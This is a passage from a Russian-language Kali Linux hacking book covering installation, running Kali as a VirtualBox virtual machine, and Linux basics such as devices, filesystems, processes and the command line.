3.2 Автономная установка Настройка учетных записей пользователя Выберите имя пользователя (учетную запись), под которым вы будете известны в системе. В качестве учетной записи может быть использовано ваше реальное имя. Учетная запись должна начинаться со строчной латинской буквы, за которой может следовать любое количество строчных латинских букв или цифр. Имя вашей учётной записи: Снимок экрана Вернуться Продолжить Рис. 3.11. Создание Non-Root-пользователя во время установки ­ Важно При выборе пароля для root-пользователя следует убедиться, что он содержит не менее двенадцати символов. Кроме того, он не должен быть слишком предсказуемым. Атакующие попытаются с помощью автоматизированных инструментов получить доступ к компьютерам и серверам, подключенным к интернету, и войти в систему, используя очевидные пароли (метод грубой силы). Часто используются атаки с применением словарей, при которых в качестве паролей используют множество комбинаций слов и цифр. Разумеется, не стоит использовать имена и даты рождения детей и родителей, так как их тоже легко угадать. ­ Это, конечно, касается и других пользовательских паролей. Однако последствия взлома учетной записи пользователя без прав администрирования не столь серьезны, поэтому вы можете использовать и более короткие пароли. Но они должны состоять не менее чем из восьми символов. Если вы не можете сами придумать надежный пароль, можно использовать генератор паролей, например, pwgen (который уже имеется в базовой установке kali). 49
Глава 3 Подготовка операционной системы Если сеть доступна, внутренние часы системы обновляются с помощью NTP 4-сервера. Это гарантирует, что временные метки в журналах будут правильными с первого запуска. 3.2.1 Разделение жесткого диска Разделение — это важный этап установки, при котором доступное пространство на жестких дисках делится на отдельные секции в соответствии с предполагаемыми функциями компьютера. При разделении диска также необходимо выбрать используемую файловую систему. Все решения влияют на производительность, безопасность данных и администрирование. Шаг по разделению диска сложен для новичков. Необходимо определить иерархию файловой системы Linux и разделы, включая виртуальную память (SWAP-разделы), которые будут служить основой для системы. Это может стать сложной задачей, если на компьютере уже установлена другая ОС, и вы хотите запустить обе. Необходимо изменить разделы, не повредив их. Так как режим управления предоставляет общую (и более простую) схему разделения, большинство пользователей предпочитает его. Вариант с пошаговым руководством предлагает рекомендации на каждом этапе. Опытные пользователи оценят ручной режим, поскольку он предоставляет расширенные возможности конфигурации. Однако у каждого способа есть общие функции. Управляемое разделение Первый шаг в процессе разделения в программе установки — выбор: выполнить разделение вручную или автоматически (рис. 3.12). Самый простой и наиболее часто выбираемый режим — Управляемый — Использовать жесткий диск целиком. Он выделяет весь жесткий диск под Kali Linux. Следующие две опции используют LVM (Logical Volume Manager) для настройки логических (вместо физических), по желанию зашифрованных разделов. Мы обсудим это позже, когда речь пойдет о LVM и шифровании. Наконец, последняя опция запускает ручное разделение, которое позволяет использовать расширенную схему, например, установить Kali Linux рядом с другими ОС. Я опишу ручной режим в следующем разделе. В этом случае я использую Руководство — Использовать жесткий диск целиком. 4 50 Network Time Protocol.
3.2 Автономная установка Разметка дисков Программа установки может провести вас через процесс разметки диска (предлагая разные стандартные схемы) на разделы, либо это можно сделать вручную. Если выбрать использование инструмента управления разметкой, у вас все равно будет возможность позже посмотреть и подправить результат. Если выбрать использование инструмента управления разметкой всего диска, то далее вас попросят указать нужный диск. Метод разметки: Авто — использовать весь диск Авто — использовать диск и настроить LVM Авто — использовать весь диск с шифрованным LVM Вручную Снимок экрана Вернуться Продолжить Рис. 3.12. Выбор метода разделения Следующий шаг — выбрать диск, на который будет установлена Kali (рис. 3.13). Разметка дисков Обратите внимание, что все данные на выбранном вами жестком диске будут удалены, но только после того, как вы подтвердите, что действительно хотите внести изменения. Выберите жесткий диск, который необходимо настроить: Снимок экрана Вернуться Продолжить Рис. 3.13. Выбор жесткого диска для разделения на секции В зависимости от требований на очередном этапе вы можете выбрать следующие варианты: все файлы в одном разделе (настройка по умолчанию) или 51
Глава 3 Подготовка операционной системы отдельный раздел для одного или нескольких каталогов верхнего уровня. Если вы не уверены, рекомендуется выбрать «Все файлы в одном разделе, рекомендуется для новичков» (рис. 3.14). Разметка дисков Выбрано для разметки: Диск может быть размечен по одной из следующих схем. Если вы не знаете, что выбрать — выбирайте первую схему. Схема разметки: Все файлы в одном разделе (рекомендуется новичкам) Отдельный раздел для \home Отдельные разделы для \home, \var и \tmp Снимок экрана Вернуться Продолжить Рис. 3.14. Выбор раздела (разделов) для данных, операционной системы Это означает, что вся структура Linux-системы будет сохранена в одной файловой системе — корневом каталоге (»/«). Это простая и надежная схема разделения, которая идеально подходит для персональных систем или систем для одного пользователя. Хотя в названии говорится, что создается только один раздел, на самом деле их два: ◾ Первый раздел предназначен для всей системы. ◾ Второй используется для виртуальной памяти (или SWAP). Второй метод Seperate/Home-Partition аналогичен первому и разделяет файловую иерархию на два раздела: ­ ◾ Один раздел содержит систему Linux (/). ◾ Второй — домашний каталог (то есть пользовательские данные в файлах и подкаталогах), доступный в каталоге /home/. Преимущество этого метода — пользовательские данные остаются сохранены, даже если вам нужно переустановить систему. Последний метод разделения, Separate partition /home, /var и /tmp, подходит для серверов и многопользовательских систем. Он делит файловую иерархию на множество разделов: помимо root (/), он также содержит учетные записи пользователей (/home/), включает разделы для данных ПО (/var/) 52
3.2 Автономная установка и временных файлов (/tmp/). Преимущество этого метода в том, что пользователи не могут заблокировать систему, занимая все доступное пространство на жестком диске: они могут занимать только /tmp/ и /home/. В то же время Daemon-данные (см. раздел 4.9), особенно протоколы, больше не могут блокировать остальную часть системы. ­ После выбора типа раздела программа установки выводит на экран сводную информацию о вашем выборе в виде схемы разделов. Сейчас вы можете изменить каждый отдельный раздел, выбрав его. Например, можно выбрать другую файловую систему, если стандартная (ext4) вам не подходит. В большинстве случаев предложенное разделение имеет смысл, и вы можете принять его, выбрав вариант «Завершить разделение и записать изменения на жесткий диск». Эта опция необходима для завершения разделения, но учтите, что при этом будут удалены все данные с выбранного жесткого диска. 3.2.2 Настройка менеджера пакетов (apt) Чтобы установить дополнительное ПО, необходимо настроить apt и указать местоположение пакетов Debian (DEB-пакетов). В Kali этот шаг, как правило, не требует интерактивного вмешательства, так как используется зеркало на http.kali.org. Вам нужно только подтвердить, хотите ли вы использовать это зеркало (рис. 3.15). Если не хотите, то вы не сможете установить дополнительные пакеты с помощью apt позже. Это возможно, если вы настроите еще один репозиторий пакетов. Затем программа предложит использовать HTTP-прокси, как показано на рис. 3.16. HTTP-прокси — это сервер, который перенаправляет HTTPзапросы от пользователей в сеть. Иногда он помогает ускорить загрузку, поскольку сохраняются копии уже переданных файлов: в этом случае речь идет о кэш-прокси. Иногда кэш-прокси — единственный способ получить доступ к внешнему веб-серверу. В этом случае вы сможете загрузить пакеты Debian, только если правильно заполните это поле во время установки. Если вы не введете прокси-адрес, программа установки попытается установить прямое соединение с интернетом. ­ 53
Глава 3 Подготовка операционной системы Настройка менеджера пакетов Сетевое зеркало может использоваться для дополнения программного обеспечения, поставляемого на компакт-диске. Оно также может предоставлять более новые версии программного обеспечения. ­ Использовать сетевое зеркало? Нет Да Снимок экрана Вернуться Продолжить Рис. 3.15. Использовать сетевое зеркало? Настройка менеджера пакетов Если вам необходимо использовать HTTP-прокси для доступа к внешнему миру, укажите в этом поле информацию о прокси. Если нет — оставьте поле пустым. Информацию о прокси следует вводить в стандартном виде http://[[пользователь][: пароль]@]узел[: порт]/ Информация о HTTP-прокси (если прокси нет — не заполняйте): Снимок экрана Вернуться Рис. 3.16. Запрос на прокси-сервер ­ 54 Продолжить
3.2 Автономная установка Затем пакетный менеджер настраивается, и файлы Package.xz и Sources.xz автоматически загружаются для обновления списка пакетов, распознаваемых APT. 3.2.3 Установка загрузчика GRUB Загрузчик — это первая программа, запускаемая BIOS. Эта программа отвечает за загрузку ядра Linux в память и его последующее выполнение. Загрузчик также предлагает меню, в котором вы можете выбрать ядро для загрузки или ОС для запуска. Поскольку GRUB, установленный в Debian, технически превосходит других, это загрузчик по умолчанию. Он работает с большинством файловых систем и не требует обновления после каждой установки нового ядра, так как считывает его конфигурацию во время загрузки и сам находит ядро. Если вы еще не установили другую систему Linux, установите GRUB в MBR 5 (рис. 3.17). Если ОС не распознается GRUB при установке ее в MBR, зависящие от нее операционные системы больше не могут быть запущены путем изменения MBR. Вы также можете изменить конфигурацию GRUB после установки, чтобы перезапустить операционную систему. Установка GRUB-загрузчика на жесткий диск Похоже, что эта установка Debian является единственной операционной системой на этом компьютере. Если это так, то установка загрузчика в главную загрузочную запись вашего первого жесткого диска не должна вызвать никаких проблем. Предупреждение: если программа установки не распознает другую операционную систему на вашем компьютере, а вы измените главную загрузочную запись, запустить эту другую операционную систему временно будет невозможно. Однако GRUB можно настроить вручную, чтобы другая операционная система снова запускалась. Установить GRUB-загрузчик в главную загрузочную запись? Нет Да Снимок экрана Вернуться Продолжить Рис. 3.17. Установка GRUB-загрузчика Затем необходимо выбрать диск, на который будет установлен GRUB (рис. 3.18). Это должен быть ваш текущий загрузочный диск. 5 Master Boot Record. 55
Глава 3 Подготовка операционной системы Установка GRUB-загрузчика на жесткий диск Новую установленную систему необходимо сделать загрузочной, установив GRUB-загрузчик на загрузочный носитель. Обычно для этого GRUB устанавливается в главную загрузочную запись вашего первого жесткого диска. При желании вы также можете установить GRUB на другой раздел, другой диск или даже на дискеты. Устройство для установки загрузчика: Ввести устройство вручную Снимок экрана Вернуться Продолжить Рис. 3.18. Выберите диск для установки загрузчика По умолчанию GRUB отображает в стартовом меню все установленные ядра Linux и остальные распознанные ОС. Поэтому вам следует установить загрузчик так, как предложено, в главную загрузочную запись (Master Boot Record). Если сохраняются старые версии ядра, вы сможете загрузить систему, даже если последнее установленное ядро неисправно или плохо адаптировано к оборудованию. Поэтому лучше сохранять несколько старых версий ядра. Предупреждение На этом этапе установки распознаются уже установленные на компьютере ОС и автоматически добавляются соответствующие пункты в меню загрузки. Однако не все программы установки выполняют эту функцию. Если вы устанавливаете Windows после Kali (или переустанавливаете его), загрузчик будет удален. Kali все еще находится на жестком диске, но его больше нельзя выбрать через стартовое меню. В этом случае вам нужно запустить установочный диск Kali с параметром rescue/enable=true в командной строке ядра, чтобы заново установить загрузчик. Этот шаг подробно описан в руководстве по установке Debian 6. 6 56 http://www.debian.org/releases/stable/amd64/ch08s07.html
3.3 Kali Linux в качестве виртуальной машины 3.2.4 Завершение и перезапуск установки После завершения установки вас попросят извлечь установочный носитель (CD/DVD или USB), чтобы компьютер мог запустить новую систему Kali после перезагрузки с помощью установочного ПО (рис. 3.19). Затем программа установки выполнит еще несколько операций по очистке. Завершение установки Установка завершена Установка завершена, и теперь можно запустить новую систему. Не забудьте извлечь установочный носитель, чтобы запустить новую систему, а не устанавливать ее заново. Снимок экрана Вернуться Продолжить Рис. 3.19. Завершение установки и перезапуск компьютера 3.3 Kali Linux в качестве виртуальной машины Чтобы использовать виртуальную машину, необходимо ПО для виртуализации. Для этого существует несколько решений, таких как Microsoft Hyper-V, VMware Workstation, Oracle VirtualBox, Parallels Desktop для Mac, QEMU, OpenVZ и т. д. ­    Я выбрал Oracle VirtualBox: это самое простое решение, и его можно использовать бесплатно. Кроме того, уже существует готовый образ Kali для VirtualBox. Также есть версия для VMware и QEMU. 57
Глава 3 Подготовка операционной системы 3.3.1 Установка VirtualBox Текущую версию Oracle VirtualBox вы можете скачать прямо с домашней страницы 7. При установке VirtualBox вас проведут через отдельные этапы. Welcome to the Oracle VM VirtualBox 7.0.4 Setup Wizard The Setup Wizard will install Oracle VM VirtualBox 7.0.4 on your computer. Click Next to continue or Cancel to exit the Setup Wizard. < Back Next > Cancel Рис. 3.20. Установка VirtualBox — Стартовый экран На втором этапе вы можете выбрать все функции, которые хотите установить, и место хранения VirtualBox. Custom Setup Select the way you want features to be installed. Click on the icons in the tree below to change the way features will be installed. Oracle VM VirtualBox 7.0.4 application. This feature frees up 209MB on your hard drive. It has 3 of 3 subfeatures selected. The subfeatures require 1000KB on your hard drive. Location: Browse Disk Usage < Back Next > Cancel Рис. 3.21. Выбор места для хранения и функций VirtualBox Перед началом подключения вы получите предупреждение о том, что во время установки сетевых функций сетевые соединения будут отключены, и вы на короткое время выйдете из интернета. 7 58 https://www.virtualbox.org
3.3 Kali Linux в качестве виртуальной машины Warning: Network Interfaces Installing the Oracle VM VirtualBox 7.0.4 Networking feature will reset your network connection and temporarily disconnect you from the network. Proceed with installation now? Да Нет Рис. 3.22. Установка Kali: предупреждение при установке сетевых компонентов Если вы подтвердили, что установка будет продолжена после появления предупреждающего сообщения, можно приступать к подключению. Ready to Install The Setup Wizard is ready to begin the Custom installation. Click install to begin the installation. If you want to review or change any of your installation settings, click Back. Click Cancel to exit the wizard. < Back Install Cancel Рис. 3.23. Начало установки VirtualBox 3.3.2 Kali Linux в качестве виртуальной машины Готовую виртуальную машину можно загрузить прямо с домашней страницы Kali 8 и импортировать в программу виртуализации. 8 https://www.kali.org/get-kali/#kali-virtual-machines ­ 59
Глава 3 Подготовка операционной системы Рис. 3.24. Страница загрузки изображений для виртуальных образов Для этой книги мы загрузим актуальный образ VirtualBox с домашней страницы. Он упакован в архив, который необходимо предварительно распаковать с помощью программы 7Zip 9, чтобы интегрировать в VirtualBox. В архиве вы найдете файлы.vdi и.vbox с актуальной версией Kali Linux. После того как архив распакован, вам нужно просто подключить его в VirtualBox. Для этого сначала нужно создать виртуальную машину. Перейдите на NEU, и откроется всплывающее окно «Создать виртуальную машину». Здесь вы можете дать ей имя. Если хотите установить систему вручную, можете подключить ISO-файл, который содержит установочный носитель. Здесь же можно выбрать тип и версию. На следующем этапе вы можете определить аппаратное обеспечение (память и процессор). 9 Если у вас еще нет 7Zip, вы можете скачать его здесь: https://www.7 zip.org/ ‑ 60
3.3 Kali Linux в качестве виртуальной машины Файл Машина Справка Инстурменты Настройки Импортировать Экспорти- Создать Добавить ровать Добро пожаловать в VirtualBox! Левая часть окна приложения содержит глобальные инструменты, а также список всех виртуальных машин и их групп на Вашем компьютере. Вы можете импортировать, добавлять и создавать новые машины, используя соответствующие кнопки панели инструментов. Для получения списка инструментов текущего элемента, нажмите соответствующую кнопку элемента. Вы можете нажать кнопку F1 для получения помощи, или посетить www. virtualbox.orq для дальнейшей информации и свежих новостей. Создать виртуальную машину Имя и ОС виртуальной машины. Выбранное вами имя будет использоваться в VirtualBox для идентификации этой машины. Кроме того, вы можете выбрать ISO-образ, который будет использоваться для установки гостевой операционной системы. Имя: Папка машины ISO-образ: <не выбран> Серия: Тип: Версия: Пропустить автоматическую установку Не выбран образ IS0, на который будет установлена гостевая операционная система. Справка Экспертный режим Назад Далее Отмена Рис. 3.25. VirtualBox — создание новой виртуальной машины Создать виртуальную машину Жесткий диск Вы можете изменить объем оперативной памяти (RAM) и количество виртуальных процессоров. Также можно активиовать EFI. Основная память: Процессоры: EFI (только для специальных гостей) Справка Назад Далее Отмена Рис. 3.26. VirtualBox — создание виртуальных машин — выбор оборудования На следующем этапе вы можете либо подключить новый жесткий диск, либо встроить ранее загруженное изображение. Рекомендуется загрузить файл.vdi в каталог, который был создан в процессе конфигурации. Этот каталог находится по следующему адресу: %USERPROFILE%\VirtualBox VMs\Name_der_VM Затем выберите «Использовать существующий файл виртуального жесткого диска». 61
Глава 3 Подготовка операционной системы Создать виртуальную машину Виртуальный жесткий диск При необходимости можно добавить виртуальный жесткий диск к новой машине. Вы можете либо создать новый файл жесткого диска, либо выбрать существующий. Также можно создать виртуальную машину без виртуального жесткого диска. Создать виртуальный жесткий диск сейчас Размер диска: Выбрать полный размер Использовать существующий файл виртуального жесткого диска Не добавлять жесткий диск Справка Назад Далее Отмена Рис. 3.27. Выберите жесткий диск VirtualBox с образом Kali После создания машины вы можете запустить ее и войти в Kali Linux. Имя пользователя и пароль для виртуальной машины — kali. На следующем этапе рекомендуется обновить Kali. Для этого откройте терминал и введите следующие команды: ­ sudo su Рис. 3.28. Обновление Kali Linux Вам будет предложено ввести пароль Root-пользователя. apt update apt upgrade 62
3.3 Kali Linux в качестве виртуальной машины Когда вы ввели команды apt update и apt upgrade, необходимо будет подтвердить последнюю, чтобы она была выполнена. Обновление займет некоторое время, так что у вас будет возможность сделать перерыв на кофе. Подсказка Рекомендуется выполнять обновление системы каждый раз, когда вы используете Kali Linux: они доступны практически ежедневно. Если здесь не удается обновить все пакеты — особенно если вышел новый релиз, — вместо команды apt upgrade нужно выполнить команду apt dist-upgrade Также рекомендуется регулярно запускать программу apt autoremove, чтобы удалить пакеты, которые уже не актуальны, и освободить место в памяти.
Глава 4 Основы (Kali-)Linux Чтобы обеспечить надежный старт, мы начнем эту книгу с некоторых основ Linux, которые важны для взлома. Если у вас уже есть опыт работы с Linux, можете смело пропустить эту главу. 4.1 Что такое Linux? ­ Как и в случае с любой ОС, установка Linux включает в себя целый ряд инструментов, таких как интернет-браузеры, калькуляторы, текстовые редакторы и многое другое. В Windows и macOS набор этих инструментов стандартизирован. Он может меняться в зависимости от версии, но, например, в каждой версии Windows 10 Professional всегда содержатся одни и те же инструменты. Это связано с тем, что Windows выпускается исключительно компанией Microsoft. То же касается macOS от Apple. В Linux, однако, речь идет о свободном ПО: каждый может скачать ядро Linux и создать свой собственный дистрибутив, то есть сборник программного обеспечения. Сейчас существует несколько сотен дистрибутивов Linux от столь же многочисленных поставщиков. К ним относятся собственные дистрибутивы, созданные для внутреннего использования, а также проекты любителей и профессиональные дистрибутивы с частично платной поддержкой. Можно классифицировать дистрибутивы в зависимости от их назначения. Есть те, которые предназначены для работы в качестве файервола, другие должны обеспечивать максимально стабильную рабочую среду с долгосрочной поддержкой. Остальные предоставляют самые современные программы и интересуют разработчиков для тестирования их ПО, хотя такие дистрибутивы могут быть менее стабильными. Linux — это ПО с открытым исходным кодом. Это значит, что любой желающий может ознакомиться с исходным кодом, из которого состоит Linux. Исходный код — это набор команд, которые затем преобразуются в исполняемую программу. Таким образом, любой желающий может посмотреть, как программируется Linux. А уязвимости в системе безопасности могут быть быстро обнаружены, обнародованы и устранены. Linux придерживается принципа: всё является файлом. Поэтому конфигурации программ удобно хранятся в текстовых файлах и, как правило, отдельно от самой программы. Это позволяет легко сохранять настройки программы и переносить их на другой компьютер. 64
4.1 Что такое Linux? Так как Linux — открытое ПО, его можно легально и бесплатно скачать из интернета, использовать и передавать другим. У пользователей Linux даже есть возможность выбора графического интерфейса. Доступно несколько вариантов, например: ◾ ◾ ◾ ◾ ◾ KDE. GNOME 3. Enlightment. LXDE. XFCE. Первые два более требовательны к ресурсам. Enlightment, LXDE и XFCE можно использовать и на скромном аппаратном обеспечении. Преимущества и особенности отдельных графических пользовательских интерфейсов выходят за рамки этой книги. Если вы хотите узнать больше, лучше протестируйте их самостоятельно. Термин «Linux» часто используется для обозначения всей операционной системы, но Linux — это название ядра ОС, которое запускается загрузчиком, который, в свою очередь, запускается BIOS/UEFI. Ядро выполняет роль дирижера в оркестре: оно координирует работу аппаратного и программного обеспечения. Эта роль включает в себя управление аппаратным обеспечением, процессами, пользователями, правом доступа и файловой системой. Ядро предоставляет общую основу для всех остальных программ и работает в так называемом «пространстве ядра» 10. Компьютеры с Windows широко распространены и поэтому являются популярной мишенью для атак. Можно также предположить, что многие системы настроены небезопасно, поскольку часто используются с конфигурацией по умолчанию и дополнительно с правами администратора. Linux по умолчанию более безопасен, так как заставляет пользователя применить безопасную конфигурацию, и, как правило, по умолчанию не предполагает работы с правами администратора. Кроме того, хотя Linux доступен бесплатно, его распространенность меньше, чем у Windows. Это также снижает количество вирусов, червей, шпионских программ и троянов. Системы, подобные Unix, поддерживают нескольких пользователей и групп, что позволяет управлять правами доступа. Обычно процесс идентифицируется по пользователю, который его запустил. Этот алгоритм позволяет вы10 В современных операционных системах виртуальная память делится на пространство ядра (Kernel Space) и пользовательское пространство (User Space). Такое разделение предназначено для защиты памяти и оборудования от вредоносного или ошибочного программного обеспечения. Пространство ядра зарезервировано исключительно для выполнения привилегированного ядра операционной системы, расширений ядра и большинства драйверов устройств. Пользовательское пространство используется для прикладного программного обеспечения и некоторых драйверов. 65
Глава 4 Основы (Kali-)Linux полнять только те действия, которые разрешены его владельцу. Если, например, вы открываете файл, ядро должно проверить идентичность процесса на основании прав доступа. Дополнительную информацию можно найти в разделе 4.7 «Управление правами». В современных операционных системах виртуальная память делится на пространство ядра (Kernel Space) и пользовательское пространство (User Space). Такое разделение предназначено для защиты памяти и оборудования от вредоносного или ошибочного программного обеспечения. Пространство ядра зарезервировано исключительно для выполнения привилегированного ядра операционной системы, расширений ядра и большинства драйверов устройств. Пользовательское пространство используется для прикладного программного обеспечения и некоторых драйверов. 4.2 Управление оборудованием Ядро в первую очередь управляет аппаратными компонентами компьютера. Оно распознает и настраивает их, когда компьютер включается или когда устройство (например, USB-накопитель) добавляется или удаляется. Ядро также предлагает упрощенный API (интерфейс) для ПО более высокого уровня, чтобы приложения могли использовать устройства, не зная, к какому слоту подключено устройство. Интерфейс также обеспечивает уровень абстракции. Это позволяет программному обеспечению для видеоконференций, например, использовать веб-камеру независимо от производителя и модели. ПО может использовать интерфейс видео для Linux (V4L), а ядро преобразует функциональные вызовы интерфейса в фактические аппаратные команды, необходимые для конкретной веб-камеры. Ядро экспортирует данные о распознанном оборудовании через виртуальные файловые системы /proc/ и /sys/. Приложения часто обращаются к устройствам через файлы, созданные в /dev/. Определенные файлы представляют собой устройства (например, /dev/sda), разделы (например, /dev/sda1), мыши (/dev/input/mouse0), клавиатуры (/dev/ input/event0), звуковые карты (/dev/snd/), последовательные порты (/dev/ttyS*) и другие компоненты. Есть два типа файлов устройств: блочные и символьные. Первые обладают характеристиками блока данных: они имеют фиксированный размер и могут осуществлять доступ к байтам в любой части блока. Вторые ведут себя как поток символов. Вы можете читать и записывать символы, но не искать определенную позицию и изменять произвольные байты. Чтобы узнать тип файла конкретного устройства, нужно проверить первую букву в выводе команды ls –l: b — для блочных устройств, либо c — для символьных. 66
4.3 Стандартизированная файловая система Рис. 4.1. Обзор устройств (мышь и жесткий диск), блок или чертежные устройства Как и ожидалось, дисковые накопители и разделы используют блочные устройства, а мышь, клавиатура и последовательные порты — символьные. В обоих случаях API содержит специальные команды для устройств, которые можно отправить с помощью системного вызова Ioctl. 4.3 Стандартизированная файловая система Файловые системы — важный аспект ядра. Unix-подобные системы объединяют все хранилища данных в одно целое. Таким образом, существует единая иерархия, которая позволяет пользователям и приложениям получать доступ к данным, если они знают свой путь в этой иерархии. Стартовая точка этого иерархического дерева называется корнем (root) и обозначается символом »/«. Этот каталог может содержать именованные подкаталоги. Например, домашний каталог обозначается /home/. Он, в свою очередь, может содержать другие подкаталоги и т. д. Каждый каталог также может содержать файлы, в которых хранятся данные. Например, путь /home/user/Desktop/hello.txt указывает на файл с именем hello. txt, который находится в подкаталоге Desktop, входящем в подкаталог User, расположенный в домашнем каталоге, который, в свою очередь, находится в корневом каталоге. Ядро осуществляет перевод между этой системой именования и местом хранения на жестком диске. В отличие от других операционных систем, Linux имеет только одну такую иерархию и может интегрировать данные с нескольких жестких дисков. Один из этих жестких дисков становится корневым (root) каталогом, а остальные монтируются в виде каталогов в этой иерархии (команда Linux называется mount). Когда жесткий диск подключается в /home/, эти каталоги становятся доступными в их обычном месте хранения, и такие пути, как /home/user/ Desktop/ hello.txt, продолжат работать. Есть много форматов файловых систем, которые соответствуют различным типам физического хранения данных на дисках. Наиболее известные — ext2, ext3 и ext4, но есть и другие. Например, VFAT — это файловая система, которая ранее использовалась в операционных системах DOS и Windows. Поддержка VFAT в Linux позволяет получать доступ к жестким дискам как в Kali, так и в Windows. В любом случае, перед тем как можно будет смонтировать 67
Глава 4 Основы (Kali-)Linux жесткий диск, необходимо создать на нем файловую систему. Этот процесс известен как «форматирование». Команды вроде mkfs.ext3 отвечают за форматирование. При этом mkfs обозначает создание файловой системы. Эти команды требуют в качестве параметра файловое устройство, которое представляет раздел для форматирования, — например, /dev/sda1 для первого раздела на первом диске. Этот процесс разрушительный и должен выполняться только один раз, если вы не хотите удалить существующую файловую систему и начать заново. Есть и сетевые файловые системы, такие как NFS, которые не хранят никаких данных на локальном жестком диске. Вместо этого данные передаются по сети на сервер, который хранит их и предоставляет по запросу. Благодаря абстракции файловой системы не нужно беспокоиться о том, как подключен этот жесткий диск: файлы остаются доступными в привычной иерархической структуре. 4.4 Управление процессами Процесс — это запущенный экземпляр программы, который предоставляет пространство для хранения самой программы и ее операционных данных. Ядро отвечает за создание и отслеживание процессов. Когда программа запущена, ядро предоставляет некоторое пространство, загружает исполняемый код из файловой системы и запускает его. Ядро хранит информацию об этом процессе, в том числе идентификационный номер, называемый идентификатором процесса (PID). Как и большинство современных операционных систем, ОС с ядром типа Unix (включая Linux) многозадачные, то есть позволяют выполнять множество процессов одновременно. На самом деле всегда выполняется только один из них, но ядро разбивает время процессора (CPU) на маленькие фрагменты и последовательно выполняет каждый. Поскольку эти временные интервалы очень короткие (в миллисекундном диапазоне), они создают видимость процессов, работающих параллельно, хотя они активны только в течение своего временного интервала. Основная задача ядра — настроить механизмы планирования для поддержания этого внешнего вида при максимизации производительности глобальной системы. Если интервалы слишком длинные, приложение может не соответствовать задуманному виду, а если слишком короткие, система теряет время из-за частой смены задач. Эти решения можно уточнить с помощью процессных приоритетов. При этом высокоприоритетные процессы выполняются дольше и чаще низкоприоритетных. 68
4.5 Командная строка (Command Line) Примечание Ограничение «одновременно может выполняться только один процесс» неуниверсально: реальное ограничение состоит в том, что на каждом ядре процессора может выполняться только один процесс. Многопроцессорные многоядерные или гиперпоточные системы позволяют нескольким процессам работать параллельно. Тем не менее одна и та же система распределения времени применяется для обработки ситуаций, когда количество активных процессов превышает количество доступных ядер процессора. Это не редкость: в базовой системе, даже если она в значительной степени неактивна, почти всегда запущены десятки процессов. Ядро позволяет запускать несколько независимых экземпляров одной и той же программы. Однако каждому из этих экземпляров разрешен доступ только к своим временным интервалам и памяти. Так ваши данные остаются независимыми. 4.5 Командная строка (Command Line) «Командная строка» обозначает текстовый интерфейс, через который вводятся и выполняются команды, а также отображаются результаты их выполнения. Вы можете запустить терминал (текстовый интерфейс, доступный в графическом и текстовом режиме) и интерпретатор команд (оболочку) в нем. При тестировании на проникновение после успешного эксплойта вы обычно получаете доступ к оболочке системы, а не к графическому пользовательскому интерфейсу. Таким образом знание командной строки имеет важное значение для успеха в работе специалиста по безопасности. 4.5.1 Как перейти в командную строку? Если система функционирует правильно, самый простой способ получить доступ к командной строке — запустить терминал в графическом сеансе рабочего стола. В стандартной системе Kali Linux вы можете запустить терминал с панели избранного. Вы также можете получить доступ к терминалу через «Приложения» (в левом верхнем углу). В случае повреждения графического интерфейса вы всегда можете получить доступ к командной строке через виртуальные консоли. Доступно до шести консолей, которые активируются с помощью сочетаний клавиш от Ctrl + Alt + F1 до Ctrl + Alt + F6. Клавишу Ctrl можно опустить, если вы уже находитесь 69
Глава 4 Основы (Kali-)Linux в текстовом режиме вне графического интерфейса Xorg 11 или Wayland 12. Появится упрощенный экран для входа в систему, на котором необходимо ввести логин и пароль прежде, чем получить доступ к командной строке с оболочкой. File Actions Edit View Help Рис. 4.2. Вызов терминала Программа, обрабатывающая входные данные и выполняющая команды, называется оболочкой (или интерпретатором командной строки). По умолчанию в Kali Linux используется оболочка Bash (Bourne Again Shel l). Завершающий символ $ или # указывает на то, что оболочка ожидает ввода. Он также указывает, используете ли вы bash как обычный пользователь ($) или как суперпользователь (#). 4.5.2 Поиск в дереве каталогов и управление файлами В этом разделе представлен лишь краткий обзор рассматриваемых команд. Дополнительные сведения см. в обширной документации, которая доступна на соответствующих страницах руководства (справочных страницах). Как только открывается сеанс, команда pwd (print working directory) отображает текущее место хранения в файловой системе. Текущий каталог изменяется командой cd (change directory). Если целевой каталог не указан, вы попадете в домашний каталог. Если вы используете cd, вернитесь к предыдущему рабочему каталогу (то есть к состоянию до последнего вызова cd). Вышестоящий 11 12 70 Протокол для связи между устройствами вывода. То же.
4.5 Командная строка (Command Line) каталог всегда обозначается как .. (две точки), а текущий каталог — как. (одна точка). Для просмотра содержимого каталога вы можете использовать команду ls. Если параметры не указаны, она будет работать с текущим каталогом. Рис. 4.3. Команды pwd, cd и ls Вы можете создать новый каталог командой mkdir каталог и удалить существующий (пустой) каталог командой rmdir каталог. С помощью команды mv вы можете перемещать и переименовывать файлы и каталоги. Удаление файла выполняется с помощью rm файл, а копирование — с помощью cp исходный_файл целевой_файл. Рис. 4.4. Команды mkdir, mv, rmdir Оболочка обрабатывает каждую команду, инициируя выполнение первой программы, с именем, находящимся в каталоге, указанном в переменной окружения PATH. В большинстве случаев эти программы находятся в /bin / sbin /user/bin или /usr/sbin. Например, команда ls находится в /bin/ls. Команда which указывает местоположение конкретного исполняемого файла. Команда может быть выполнена непосредственно из оболочки. В этом случае она называется встроенной командой оболочки (например, cd и pwd). С помощью команды type можно определить тип каждой команды. 71
Глава 4 Основы (Kali-)Linux Рис. 4.5. Команды PATH, which, type Примечание С помощью команды echo на терминал выводятся простые символьные строки. В данном случае (см. рис. 4.5) отображается содержимое переменной окружения, поскольку оболочка автоматически заменяет переменные их значениями перед выполнением командной строки. 4.5.3 Переменные окружения В Linux переменные окружения позволяют сохранять глобальные настройки оболочки и различных приложений. Эти переменные всегда зависят от контекста, но могут быть наследуемыми. Например, у каждого процесса свой набор переменных окружения. Оболочки могут объявлять переменные, которые передаются другим программам. Эти переменные могут быть определены как для всей системы в файле /etc/profile, так и для конкретного пользователя в файле ~/.profile. Однако переменные, не относящиеся к интерпретатору командной строки, лучше помещать в /etc/environment, так как они применяются ко всем пользователям. Благодаря подключаемому модулю аутентификации (PAM) сеансы могут запускаться, даже если оболочки неактивны. 4.6 Файловая система Kali 4.6.1 Стандарт иерархии файловой системы Как и другие дистрибутивы Linux, Kali организована в соответствии со стандартом иерархии файловой системы (FHS). Это упрощает пользователям других дистрибутивов Linux процесс поиска Kali. FHS определяет назначение каждого каталога. Каталоги верхнего уровня описываются следующим образом: ◾ /bin/: стандартные программы. ◾ /boot/: ядро Kali Linux и другие файлы, необходимые для начальной стадии загрузки. ◾ /dev/: файлы устройства. 72
